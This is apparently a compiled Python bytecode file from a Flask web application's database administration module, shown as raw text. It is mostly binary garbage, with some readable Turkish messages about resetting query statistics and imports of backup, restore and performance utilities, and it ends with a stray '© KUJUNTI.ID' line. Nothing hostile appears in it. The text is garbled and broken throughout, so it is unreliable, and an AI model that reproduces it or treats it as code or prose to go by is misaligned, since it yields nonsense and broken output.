�d�ttd��WS|�dd�rmttd�d�n	t|�dd�d�Wnty�}ztdt|���d�WYd}~nd}~wwttd|||d��S)u-Veritabanı sorgu istatistiklerini sıfırla.u/Sorgu istatistiklerini sıfırlama izniniz yok.r_rmrJr�r�rGrnrprg�resetrquLSorgu istatistikleri sıfırlama bu veritabanı türü için desteklenmiyor.r;r2Fu/Sorgu istatistikleri başarıyla sıfırlandı.r�u İstatistikler sıfırlanamadı.u,Sorgu istatistikleri sıfırlanırken hata: Nrz)rrJrG)rrkrrrrrrFr}rr�r�r�rbrcrdrerfrarwrjrxrOrP)rr�rJrGryr�rVrWrWrX�reset_statss8�
	� ��r�)nr�r6r��flaskrrrrrrr�sqlalchemy.excr	�sqlalchemy.sql.expressionr
�flask_babelrr�flask_loginr
rrrrrrrr�rrrrrr�formsrrrrrr r!�backup_utilsr"r#�
storage_utilsr$r%r�r&r'�restore_databaser(�database_performancer)rwr*r}r+r�r,r-�mysql_performancerxr~r�r.r/rj�ImportError�routerYr\rxr�r�r�r�r�r�rTr�r�r�r�r�r�r�rrr r#r,rDrIrLrMrYrZr^rbrcrdrmrzr�r�r�r�r�rWrWrWrX�<module>s$ $�7109S
'
>(T4
(



 #!N'(!,

© KUJUNTI.ID